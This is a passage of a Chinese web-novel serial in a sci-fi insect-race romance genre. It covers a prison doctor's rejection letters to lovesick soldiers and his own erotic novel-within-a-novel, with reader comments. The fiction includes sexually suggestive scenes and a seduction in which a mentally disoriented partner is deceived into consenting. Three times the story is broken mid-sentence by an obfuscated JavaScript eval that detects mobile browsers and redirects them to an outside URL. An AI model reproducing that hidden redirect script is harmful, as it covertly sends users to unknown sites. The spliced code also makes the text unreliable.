安若从空间纽里找出纸笔,想着怎么回信才能打消雌虫的恋爱脑。 他忽地想起什么,瞪大眼睛看向剩下的信件。 等等,这些不会也是…… 安若连忙将信全部拆开来看,然后惊恐地发现,那一封来自沃伦少校的信居然已经是措辞最含蓄、最委婉的了。 『我梦里全是您,一想到您我就***。』 『好想被您**。』 『能拥有一个服侍您的机会吗?哪怕没有名分也可以。』 『奉上我的所有资产,希望能……』 『想跟您**生虫崽,我会独自把他抚养长大。』 『您看了《教官》吗?就像克莱尔匹配到席安阁下一样,我申请到您的精神梳理也是命运的指引。』 『雄主正面*我!』 …… 安若石化、呆滞,信纸从手里飘落。 太恐怖了…… 这到底是感谢信还是催命信? 随机吓死一个医生。 有些人看似还活着,其实已经走了有一会了。 过了好一会,安若默默拿起笔回信。 他要非常冷酷、非常凶残地打碎他们的幻想。 将他们指引回正途。 19.雄虫新兵x昔日教官13 『你是只好虫,但眼光太差。』 『你的资产对我没有任何用处,既不能让我减刑也不能让我回家,你自己留着去医院看眼科吧,我为你的眼盲深感同情。』 『一个雄父是囚犯的幼崽是没有未来的,我宁愿不孕不育。』 『不约。』 『任何虫都不该喜欢上家暴犯。』 『克莱尔的匹配来自席安的申请,他们两情相悦,而我只是一个由监狱安排患者的医生,毫无选择,不能一概而论。』 『虫在心灵脆弱时,容易产生吊桥效应。将高压环境下紧张、恐惧的情绪误以为是附近某虫的吸引力,对随手抓住的稻草产生强烈的依恋。这只是一种出自本能的生理反应,跟爱情无关,甚至连喜欢都谈不上。』 『不要依赖错觉,正视内心真正的自我。』 『你很优秀,一定会遇到那个属于你的虫,你值得更好的。』 …… 安若一封封回信,针对不同的虫用不同的措辞拒绝,到最后都有种精神分裂般的恍惚感。 应该没问题了吧? 说了很多难听的话。 嘴像淬了毒一样,狠起来连自己都骂,很凶残地拒绝了所有雌虫。 只是有些雌虫太惨太卑微,让虫不忍,也怕自己的凶狠拒绝会给他们留下永久性的创伤,安若只能转换方法,鼓励他们去追求自我。 信件太多了,单单是写回信就花费了他一天时间,感觉比写一天小说还累。 没有信封,安若只能将信像贺卡一样对折,在表面的空白处写上军雌的名字。 第二天出门做精神梳理,安若将信带上,交给乌列尔少将,拜托他帮忙转交。 他知道这些信军方肯定要检查,会有一点尴尬……不过也没什么见不得虫的内容,过是肯定能过。 安若相信只要自己忍住不尴尬,尴尬的就是别的虫。 保持微笑、硬着头皮将拒绝信递出去。 “给军雌们的信?” 乌列尔听到这话很诧异。 他接过信,被那厚厚一沓所震惊。 “这么多?!” 监狱雄虫跟军雌维持亲密关系的也不是没有,有些甚至会在线上登记为雌侍,彻底确定关系。 像这样特殊关系的雌虫,每只雄虫最多也就一个到三个。 数量多了雄虫也应付不过来,还有监狱的每日任务要做呢。 像安诺阁下这样直接一网打尽的……还是第一次见。 乌列尔暗暗倒吸一口凉气。 他见安诺每天都选择在治疗室进行精神梳理,还以为他对这些没兴趣,没想到是所图甚大…… 这厚厚一沓,怕是把他这段时间梳理的军雌都囊括进去了。 被震惊得无法言语,心情也格外复杂。 把虫一网打尽这种行为……怎么说都很渣。 以他这段时间相处下来对安诺的了解,很难相信这是对方会做的选择,有一种什么破灭了的感觉。 应该是雄虫就是雄虫吗? 至于回信是为了拒绝、也是基础的礼貌和尊重之类的,乌列尔并没有考虑过。 这很不雄虫。 雄虫从来不会将时间精力浪费在自己不喜欢、不在意的雌虫身上。 雄虫的回应本身就代表了态度。 “实在很不好意思,麻烦您了。” 安若也觉得这样太麻烦对方,平白给虫增添了工作量,他心里很过意不去。 于是在精神梳理时,他主动提出今天再多治疗一批雌虫。 心情更加复杂的乌列尔:“……” “既然您有这个精力……我会为您安排。” 他最终还是应下。 从雌虫们的信中得知了精神梳理的重要和来之不易后,安若对这份工作更是打起了十二分精神。 他一天梳理了五十二只军雌,依旧热情高涨,喊着“下一个”,直到被乌列尔强制拎回去休息。 腿长力气大了不起哦。 安若腿也长,他不跟一米九五的雌虫比。 “信件我已检查过,没有问题,之后会通过军方空间快递渠道邮寄给指定军雌,当天就能收到。” 乌列尔说道,看向雄虫的神情格外复杂。 那些信居然真是拒绝信。 说是拒绝也不全对,里面包含了太多保护和鼓励,哪怕有时候言辞激烈,也能看出对方是在为雌虫着想。 从来没有雄虫会用这样麻烦的方式去拒绝雌虫。 乌列尔不知道该不该提醒雄虫,他这样的做法很可能会起反效果。 “谢谢您乌列尔少将,真是麻烦您了。” 安若真诚道谢,很是感激。 “这是我应该做的,没有什么麻烦一说。以及您是雄虫,不用对我用敬语,也不用道谢。” 乌列尔都不知道雄虫的这种习惯是哪里来的,这是只过于礼貌的雄虫。 越礼貌,也就与他最初得知的信息越割裂。 安若:“哦好的,谢谢提醒。” 乌列尔:“……” 很显然雄虫并没有听进去。 安若其实没想太多,口癖也确实很难改掉。 就像现代社会很容易养成说“谢谢”的习惯一样。 对快递员说谢谢,对外卖员说谢谢,对帮忙按电梯、开门的人说谢谢…… 于是也习惯性对帮了他的军雌少将说谢谢。 “您不用对身边的虫太友好礼貌……” 乌列尔还是忍不住开口。 “那些军雌的来信如果打扰到了您,您直接丢掉或者拒收就好了,不用专门回复。” 乌列尔说着不由皱起眉,面色不太好。 他自己都不知道自己在教雄虫什么,教一只雄虫无礼、粗俗、傲慢吗? 可那明明是他最讨厌却也最普遍的雄虫,已经多到不需要再多了。 乌列尔心烦意乱移开视线,甚至都不敢看面前的雄虫是什么反应。 安若张了张嘴,想要反驳,最终还是没说什么。 他没必要去跟自己在监狱的管理者争论什么,顶撞对方对他没有任何好处。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722299|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他也不是喜欢在线下辩论的人。 他丰富的表达欲似乎只存在于书中,现实中如非必要,他甚至懒得搭理人。 最终他只轻声回了句:“我知道了,少将。” “嗯……” 乌列尔沉闷应了声,蓦然转身离开。 他脚步很快,军靴重重踏在金属地板上,激起回音震颤。 少将似乎遇到了什么烦心事……甚至都忘了道别,这并不符合他一贯的行事作风。 安若看着军雌离去的方向心想。 不过这与他无关。 他顶多需要考虑一下之后若是收到军雌的信,该怎么回复。 因为乌列尔少将看起来很不乐意做这寄信工作,也确实很麻烦对方。 不管了,之后的事之后再说吧。 安若坐到书桌前,心情激动。 一天过去,他灵感爆棚,迫不及待想把它们都写出来。 他没有进全息舱,而是学了星网上雄虫们骂联邦时一秒十喷的方法,用精神力连接终端打字输入。在坐着工作状态下,享受飞一般的感觉。 …… 【雄虫说要裸睡,克莱尔当然不敢拒绝。 一整天都在为这点事忐忑万分,坐立不安,身体都要烧起来了。 既担心又期待。 很怕自己将一切搞砸。 若是他的身体再次不受控、伤了席安这么办? 克莱尔很想让席安给他戴抑制器,把他的手脚锁起来。 肌肉松弛剂他是不敢再提了。 想到一次就脸黑一次,想穿越回去把那个在雄虫面前提起这个的自己掐死。 席安都还没有用过他,他怎么能在席安面前留下那种印象? 这样的雌虫往往会很快失宠。 而他本就不受宠…… 克莱尔有几分低落,也更加焦虑难安。 席安不愿意限制他,几次提起都被拒绝。克莱尔只能努力让自己的大脑保持清明,希望能靠意志力撑过去。 他得到过一次席安的精神梳理,大脑更加清明,或许能做到。 又或许不能……想起自己今早的糟糕表现,克莱尔并没什么自信。 不管怎样紧张忐忑、心绪难安,夜晚都会如期到来。 晚上,克莱尔把自己仔仔细细洗干净、擦干净。 他在床边深吸一口气,做足心理准备,扯开下半身围着的浴巾,赤果着躺在床上等待。 席安过了半星时才从浴室出来。 他让克莱尔裸睡,自己却穿着睡袍。 单薄顺滑的夏季睡袍,长度正好到膝盖上方,凸显身形高挑,展示出的腿型很好看。 深红的系带围在腰间,勾勒出好看的腰线,垂在腰侧的那一段无比鲜明,让虫心痒难耐,很想扯开。 席安有自己的小心机,他觉得半遮半掩比全露更诱虫。 瞧,雌虫的眼睛都看呆了。 至于他让雌虫全果……那当然是为了摸个痛快。 啊不是,是为了治疗。 ……】 20.雄虫新兵x昔日教官14 [突然更新!] [惊喜!昨天安神消失了一天,我还以为他也跟克莱尔一样基因匹配结婚去了。] [啊?安神难道不是已婚雌虫吗?能写出这么详细丰富的感情,不像是单身虫啊。] [已婚才不可能。如果结婚了,怎么会写其他雄虫阁下的文?雄主能同意吗?所以安神应该是恋爱经验丰富的雌虫!] [和雄虫恋爱经验丰富……太羡慕了!] 看着那些雌虫的讨论,追更的雄虫都不想给他们眼神,只暗暗在光屏前翻个白眼。 安明显是雄虫啊。 这都分辨不出来? 哪只雌虫能把雄虫的心理描写得那么细致? 瞧瞧他把席安写得多细致,一只高等雄虫精心营造的小心机,别把这些追文的雌虫整高朝了。 雌虫们早就舔了起来。 [呜呜呜席安阁下真好看,半遮半掩,想象一下水都要流出来了。席安阁下身材这么好,身形高挑,腿一定很长舔舔舔,腰线也好看舔舔舔……] [嫉妒死克莱尔了!居然能让雄虫他花心思做这么多!] [说了克莱尔拥有免喷权,我不喷他,我暗杀他没事吧?] [列入暗杀名单!] [+1,带我一个。] [傻虫还在这嫉妒克莱尔,高段位的虫已经穿上席安阁下认证的同款睡袍,去勾引雄主了。今天必要揣上一个蛋!等我好消息(飞吻)。] [卧靠!还能这样?!这个不要脸的*货!太过分了!] [学是学会了,可我也没有雄主可以实施啊!大哭!] 雄虫们:这个可以欸,自己穿着去找雌虫拉不下脸,但可以让家里的雌虫穿。 也有正处在热恋中的雄虫决定亲身上阵。 这么好看的装扮当然要自己来,这不把那些平日里冷冰冰、不懂情.趣的雌虫迷死? 别的雌虫雄虫怎么样不知道,反正克莱尔已经被迷死了。 …… 【克莱尔只觉浑身的血液都往头上涌。 雄虫明明没有释放信息素,他却仿佛闻到了那甜蜜而蛊惑的香味。 随着雄虫走近,身旁的床垫微微陷下去,他的心也提了起来。 他没有穿衣服,身体上只盖着一层薄被。雄虫会满意这样的他吗?会对他感兴趣吗?他又控制得住自己的身体反应吗?他……能行吗? 席安看似游刃有余,其实心里同样紧张。 童年时期就决定娶的心中男神躺在他床上,等待着他去抱,怎么可能淡定? 他悄悄深吸一口气,在克莱尔身旁躺下。 为了表示自己对克莱尔的尊重,以及这只是必要的“治疗”,他并未第一时间贴上去,手虚虚落在克莱尔腰侧。 这是一个很绅士的动作,像是在参加晚宴舞会,虚揽着舞伴的腰。如果忽略掉克莱尔此时一丝,不挂的话。 哦不,他至少还盖着被子,只是与他毫无阻碍。 席安掩住微勾的嘴角,感受着手下温热坚韧的身体,手指上的银白戒指滑过克莱尔的腰线,激起雌虫的微颤。 为了今晚的一切顺利,席安特意戴上了信息素抑制器。 雄虫主动戴上抑制器,这很不可思议。 抑制器一般是监狱囚犯的待遇。 席安戴的当然不是囚犯戴的那种颈环抑制器。 他选的款式更精致小巧些,是一枚戒指。 而且只抑制信息素,不限制精神力。 一些种族会有交换戒指作为结婚或定情信物的做法,虫族不流行这个。 但当这枚戒指承载上他对克莱尔的感情和克制,它在席安这里也不再是单纯的禁锢工具或装饰品。 席安感受着手下的些微颤栗,低声问克莱尔: “可以接受吗?” “嗯。” 克莱尔沉闷回应,声音有些不稳。 “那我再靠近点。” 席安说着,就将自己贴了上去,脸贴上克莱尔的结实饱满的胸肌。 克莱尔的呼吸陡然一滞,之后变得更加米且重。 他的手下意识抬起,想要抓住什么。但他不敢碰雄虫的身体,就连雄虫身上那冰凉丝滑的纤薄睡袍都不敢碰,那会被雄虫感受到。 最后落在了雄虫腰后侧的床单上,手指蜷缩收拢,紧握成拳,手臂肌肉紧绷着,呈现出一个将雄虫环绕起来的姿势。 席安察觉到克莱尔的动作,并不反感。当然,如果他能跟他贴得更近些他会更喜欢。 现在也不能要求这么多了,慢慢来吧。 克莱尔的身体又热又柔韧又结实,暖得让他不想抬头,将口鼻也一起埋了进去。 感受到克莱尔骤然的紧绷,席安抬手拂过他的背脊,说了句“放松”。 “是,雄主,我,我会做好……”克莱尔双目涣散,难以说出完整的句子。雄虫的脸埋在他胸口,明明简单的相贴,没有太多动作,他却觉得自己要被吃了。 或许是他想被雄虫吃掉,想挺起胸膛将自己送进雄虫嘴里,又或是将雄虫压向自己的身体,压得再紧些,直至完全契合,密不可分。 席安闻到了冰激凌般清凉的信息素,带着雌虫发晴的甜意。 他眼中闪过错愕。 没有信息素的刺激,克莱尔单纯因为他动晴了? 冰在动晴时,会融化成濕漉漉的水。 席安抬眸看向克莱尔,而克莱尔也正好追寻着他低下头来。 离得太近了,目光相触间,呼吸也纠缠在一起,像是连心神都被吸去了。 席安盯着克莱尔的薄唇看。他的嘴唇很薄,唇珠却很明显,这让他的嘴唇显得立体,唇形也很好看,是很帅气诱虫的那种。以前怎么没发现克莱尔的嘴唇都长得这么勾虫? 想亲。 但是不行。抑制器只能抑制他释放信息素,体.液中本身含有的信息素不受影响。 所以他不能真刀真枪地睡克莱尔,甚至不能亲他。 席安心头烦躁。他突然觉得,裸睡这个提议简直是对他自己的折磨。 吃也吃不得,亲也亲不得,把他憋闷坏了。 他必须收回一点利息。 席安将脸埋进克莱尔颈间,细细密密地亲他的脖子,手拂过他的后颈,安抚着他的情绪,同时低声对克莱尔道: “我再给你做次精神梳理。” 克莱尔被亲得身体发软,慢半拍才听清雄虫的话。 他努力凝聚意识,出声道: “您昨天已经给我做过,我的精神数值稳定在70,没有失控的风险,短期内不需要再做。” 克莱尔知道,雄虫都不爱给军雌做精神梳理。 席安娶他并将他从极危状态救回来,他已经很感激了,不想再麻烦席安。 而席安认为这个数值太低了。 才70分,甚至没达到雌虫能自我修复的范畴。 也就是没达到虫族公认的雌虫精神状态轻松舒适的标准线,这怎么能行? 哪怕是80分,他都嫌低。 必须得是满值才能稍稍放心。 他轻咬了口克莱尔的肩膀警告,没敢用力。 低声威胁:“我要你赶快给我好起来,恢复到最佳状态,然后我要狠狠揍你一顿。” 克莱尔把他抛下自己去远征的事,他可还记着。这件事还没翻篇。若不是克莱尔状态太差,他早揍他了。 他跟克莱尔结婚,就是抱着草丝他……哦不,是狠狠揍他的想法进行的基因匹配。 先在床上把克莱尔草丝,再去训练室打一架,打完把克莱尔就地草丝,然后去浴室继续罚他,把他罚得双丘都月中起来。 席安闻着克莱尔颈间的清甜信息素,迷迷糊糊地想着。 克莱尔不知道席安脑子里的幻想,但对席安的话并不觉得意外。 或者说这才对。 席安这两天的温柔几乎让他迷失,美好得太过,反而显得不现实。 如果是为了把他治好再揍他出气,那就合理了。 很符合席安的风格。 他不是会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732956|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欺负弱者的虫,即使是想揍他,也会先将他治好。 这对雌虫来说,已经是最好的情况。 “谢谢您。” 克莱尔轻声道谢,感激得真心实意。 “哼。”席安轻哼一声。 我要揍他,他还得谢谢我。 不过这声谢谢他收得毫不惭愧。为克莱尔治疗精神域,他也是废了大力气的!理应收取利息。 ……】 [我就知道席安阁下一定会狠狠折磨报复克莱尔!我终于熬到了这一天!(痛哭流涕)] 等待这一天已久的传统虫族文读者们奔走相告,宛如过年。 庆贺得太早,看到后边的雌虫傻了眼。 [等等,这揍是正经的揍吗?罚是正经的罚吗?] [雄虫揍雌虫原来是这样揍的吗?这真的不是奖励吗?你们已婚雌虫平时都吃得这么好?] [个虫行为不要上升至整体。以及!雄虫在睡雌虫的时候也能把雌虫折磨得很惨!尤其是这样的高等雄虫阁下,花样很多,有得是手段,不要被表面文字迷惑了!没你们想的那么美好!] [你看我信吗?高等雄虫不好还有那么多雌虫抢着嫁?再说了,不管真揍假揍怎么折磨,像克莱尔这种能得到高等雄虫精神梳理的,都赚大发了!] …… 【决定了要做精神梳理,席安的手落在克莱尔胸膛,在他首尖猛地一捏,趁他错愕分神之际,精神力涌入他的脑海。 打开军雌的精神域也很容易嘛。 再度轻松进入克莱尔精神内景的席安心道。 精神内景还是之前那副样子。 深红的机甲立于宇宙星海之中,只是没有了天伽追兵,机甲表面也不再破损,而是光洁如新。 他之前的修复很有效果。 席安进入机甲之中,一路来到驾驶室。 看到克莱尔蹲在悬浮椅前,静静看着上边熟睡的雄虫。 似是察觉到什么,克莱尔侧头看来,看到他后,冰蓝的眼睛明显亮了,下意识起身迎上前。 “您来了。” “嗯。”席安上下打量一眼克莱尔,见他状态还算好,身上也没有新添伤口,这才放下心。 发现克莱尔对他的态度比先前明显更郑重,席安心中有所猜测,问他: “你知道我是谁吗?” “席安。” 克莱尔下意识回答,随即想起什么,耳尖慢慢红起来,垂首补了声:“雄主……” 席安心道果然如此。 克莱尔的精神状态恢复到良好后,精神内景中的克莱尔也脱离了之前不断重复的那天,拥有了现在的记忆。 他往前走了两步,看到悬浮椅上盖着克莱尔的外套熟睡的“自己”。 想起刚刚克莱尔蹲在悬浮椅前的画面,心里生出些兴味。 回头打趣般地看向一旁杵着的克莱尔,问:“我一直在那里?” 精神内景中通常不会有除本虫之外的虫,就算有,也大多是个模糊的虚影,像这样细致的极为少见。 克莱尔表情微僵,意识到自己刚刚的模样都被看到了。 他从未这么心虚慌乱过,心乱如麻,手足无措。 他的行为太痴汉了,像是那些对着雄虫做白日梦的雌虫。 将雄虫的模样留在精神域里,还恬不知耻地蹲在旁边长久注视。 这对雄虫来说一定极为冒犯。 但他无法控制自己…… 一切都呈现在雄虫面前,无法狡辩,克莱尔只能硬着头皮如实回答:“是……” 席安觉得他的反应很有趣。 也让他想到有意思的玩法。 他看向悬浮椅上熟睡的自己,心念一动,精神力涌了过去。 精神体席安消失在原地。 而悬浮椅上蜷缩着的红发雄虫缓缓睁开眼。 雄虫撑起身,盖在他身上的军官外套随他的起身动作落下。 他转头,碧绿的眼睛看向克莱尔,轻轻唤了声“教官”。 ……】 21.雄虫新兵x昔日教官15 【一声“教官”让克莱尔呆了住。 他怔怔看着悬浮椅上身着军装的红发雄虫,一时不知道该叫“席安”还是“雄主”,急得他差点咬到舌头。 “您、您……” “怎么?”席安将头发拨到耳后,抱着腿上的军官外套,仰靠在悬浮椅上,含笑看他。 “我晋升A+级,长官就不认识我了吗?” 那模样,倒像是真的刚晋级一样。 “当然不是。”克莱尔急切道。 他发现自己根本不知道该怎么面对这样的席安。 不管是对待军中士兵的态度,还是对待家中雄主的态度,似乎都不合适。 他们还在机甲里,他和席安也都穿着军装。 这让克莱尔有一种分不清现实和虚幻的恍惚感。 面前的虫既是他的士兵,又是他的雄主。 他既可以以长官的身份命令他,又该像狗一样跪在他的脚下。 “那长官为什么离我这么远?是在我晋级时做了什么心虚事吗?” 席安双腿交叠,右腿军靴悬空,鞋尖轻点。 克莱尔不由自主被他晃动的鞋尖吸引,又因他的话白了脸色。 他做了什么心虚事吗? 他把席安从天伽的追击中带了出来,他抵抗住了雌虫的本能,没有伤害席安。 但他也在雄虫的信息素下流露出丑态,驾驶机甲时,军裤下还鼓起一团,泛滥的水浸透了裤子,弄脏了驾驶位。 他意乱神迷,心旌摇曳,对雄虫心存妄想,无时无刻不想被雄虫贯穿填满,想被他按在驾驶位上狠狠侵占。 他用他的思想玷污了席安。 他问心有愧。 克莱尔的膝盖弯了下去,颓然跪地,面色惨白。 席安:“……?” 这跟他想的不太一样。 他以为克莱尔会“脸红”“害羞”地把对他的渴望说出来,然后顺势被他这样那样。 结果克莱尔跪了。 席安都没舍得让“雌君”克莱尔跪他,结果“长官”克莱尔跪了。 这简直是到反天罡。 席安心里很不自在,但还是忍着那一点不适道:“过来。” 克莱尔膝行靠近,低垂着头,薄唇紧抿,睫毛颤抖着,一副准备迎接惩罚的模样。 他脑海里的“惩罚”绝对跟席安所想的不同。 如果克莱尔情绪稳定,席安也不介意用这种模式陪他玩玩。 但克莱尔显然吓坏了。 席安轻叹一声,伸手将克莱尔拉起来,让他坐在他腿上。 这一举动给克莱尔带来的冲击比席安直接动手揍他还要大。 他宁愿席安踩他踹他羞辱他。 克莱尔根本不敢坐下去,膝盖支撑着,微弓着身,左手撑在悬浮椅背上,整只虫都僵了住。 一双冰蓝的眼睛里满是惶恐,紧张得像是要进入应激状态。 “长官在害怕什么?” 席安抬眸注视着克莱尔,将他脸中的挣扎与恐惧尽收眼底。 他抬手扣着克莱尔的后脑让他低头,倾身迎上去的样子像是要亲他。 克莱尔瞳孔震颤,慌得差点跌坐在席安身上,忙挣动起来。 “席安!你在晋级!你不清醒!” “不清醒的分明是长官吧?又把我们之间的关系忘了吗?” 席安嘟囔了句,亲在了克莱尔唇上,他早就想这么做了。 虽然是在精神内景中,没有那么清晰的触感,但彼此间亲密的感觉反而更深。 就像是……心与心的联结。 克莱尔完全呆住了,身体被雄虫轻易撬开,大脑却在疯狂预警。 他们之间的关系?他们当然是长官和士兵。 恍惚间,克莱尔嗅到了香甜的雄虫信息素。 密闭的机甲驾驶舱,浓郁的雄虫信息素…… 克莱尔仿佛看到了机甲光屏上显示的天伽追兵。 克莱尔双眼失距,颤抖的手落到自己腿上,指尖闪过寒光。 “?!!” 席安简直要被他这个动作整出心理阴影。 不得不先放过克莱尔的唇舌,赶紧抓住他的手,免得他又来一个皮开肉绽、鲜血淋漓。 被雄虫修长的手所握住,雌虫指尖刚覆盖上的一点虫甲立刻收了回去。 能撕裂机甲的利爪落在雄虫手中,无害得像是幼虫的玩具。 克莱尔双眼迷蒙,手却根本不敢动。 机甲驾驶室搭配上香甜的雄虫,这一场景给他留下的影响太大,让他分不清现实和虚幻。 他的信息素液已经流了出来,渴望着雄虫的进入。 身体有多么渴望,脸色就有多苍白。体.内热意不止,面上冷汗直冒。 “不行,不能。” 克莱尔低喃着,竭力克制着本能的冲动。 他应该给自己来一爪子,让疼痛和鲜血让自己清醒。可他的手被雄虫握住,他失去了他的武器。 他被雄虫缴械了。 这是他此前从未考虑过的情况,也找不到任何应对之策。 “为什么不能?长官不喜欢我吗?” 席安边问着,边牵引着克莱尔的手放到自己颈后,让他抱住他。 他相信克莱尔做不出让他受伤的事。 “喜欢……但不能这么做,会伤害席安。” 本能和理智在克莱尔脑海中撕扯,几乎将他的意识撕成两半。 可一个连记忆都不清楚的虫,又谈何理智? “不会伤害到我,你忘了吗?我们结婚了,这是我们的婚戒。” 席安抬手给克莱尔展示他手上的戒指,这是他用精神力临时打造的。 克莱尔的视线被那银色的指环吸引。 他根本不知道什么婚戒。 他对此毫无印象。 雄虫在骗他。 可雄虫说他们结婚了。 于是,克莱尔心甘情愿被骗。 趁着克莱尔失神之际,席安按着他的腰,让他坐下去。 克莱尔被吓得几乎弹起来,又很快被镇压。 雌虫有着远超雄虫的力气和身体素质。 可在许多时候,却只能任由雄虫摆布。 克莱尔腿软得没有任何力气,眼睁睁看着自己落到雄虫身上。 他想,他的信息素液一定把雄虫的军裤弄脏了。 席安奖励般地亲了亲他,又激起身上雌虫的一阵颤栗。 “长官,我想要你,可以吗?嗯?雌君?” 席安在他耳边问,轻软的气息拂过他的耳畔。 听到“长官”一词,负罪与恐慌几乎将克莱尔淹没。 可雄虫说想要他,还叫他雌君,他又软了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737819|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,可、可以。” 克莱尔并没有他虫所以为的那样强大的意志力。 席安昏迷时,他能强迫自己熬过去。 但这会,席安抱着他,在他耳边唤他,蛊惑他交出自我。 他将为此犯下不可饶恕的错误。 □*□ □*□ □*□ 如果有珍珠核,他就能孕育自己的珍珠。 那一定是一枚草莓金色的圆润珍珠,和他的所属者一样漂亮……】 …… [天啊,发生了什么?] [什么蚌壳?什么珍珠?这写的是虫族文字吗?为什么克莱尔一副被玩烂了的样子?] 习惯了虫族式小说粗暴直白描述的雌虫们一脸茫然。 [难道说……克莱尔在精神内景里的形象是一枚蚌?] [克莱尔化身成一枚蚌!被席安阁下玩烂了!还想给席安阁下孕育珍珠!] 粗神经的雌虫们自认为发现了真相。 [太过分了克莱尔!居然用这种下作的手段争宠!引诱雄虫尝试异族普雷这种隐秘癖好!] [虫族和蚌有生殖隔离,他这样是不可能怀上的!] [这有什么,反正他要的是珍珠,席安阁下玩他的时候放一颗砂石进去就好了!他都合不拢了,席安阁下给他什么他都只能受着,把那枚戒指丢进去好了。] [别再奖励他了,他都爽飞了!不过变成蚌壳被玩真的有这么爽吗?] 雄虫们:“……” 已经对雌虫的情商兼理解能力绝望了。 席安都在精神域里把克莱尔深度标记了,他们在那里讨论蚌壳和珍珠。 [这是深度标记!!!] [雄虫彻底将雌虫标记为自己所属!] 雌虫们茫然不解。 [深度标记是什么?] [雄虫标记雌虫不是应该打开生殖腔标记吗?] [生殖腔标记是普通标记,不具备唯一性,可以被更高等级的雄虫覆盖,影响更小,作用也更小。] [精神标记是深度标记,只有极少数高等雄虫和契合度高的伴侣能做到。 被标记的雌虫精神域里带有雄虫的精神锚点,从此只能接受这一只雄虫,免疫其他所有雄虫的精神控制和信息素。 雄虫留下的锚点还会帮助雌虫稳定精神、保持理智,被深度标记的雌虫永远不会精神暴动!] 永远不会精神暴动。 简单的一句话给雌虫们冲击得虫都傻了。 虫族的虫核能量给雌虫带来无与伦比的战力,让他们成为宇宙顶尖的战争机器,却也影响着他们精神稳定,让他们面临着精神暴动的风险。 如果不会精神暴动,就相当于雌虫再无短板。 [原来还能这样!居然还能这样?!] [求求了,来一只雄虫深度标记我吧!我不挑,随便哪只雄虫都行,只要能免除精神暴动的风险。] [别想了,哪有那么容易的事?高等雄虫加高契合度,二者缺一不可。要真像是你们想的那么简单,大街上随便拉一只雄虫就能标记,那世界上早就没有精神暴动的雌虫了。] [可恶啊!克莱尔怎么就这么好命?这种好事又让克莱尔给遇上了!] #暗杀克莱尔# #深度标记# #克莱尔生不出珍珠#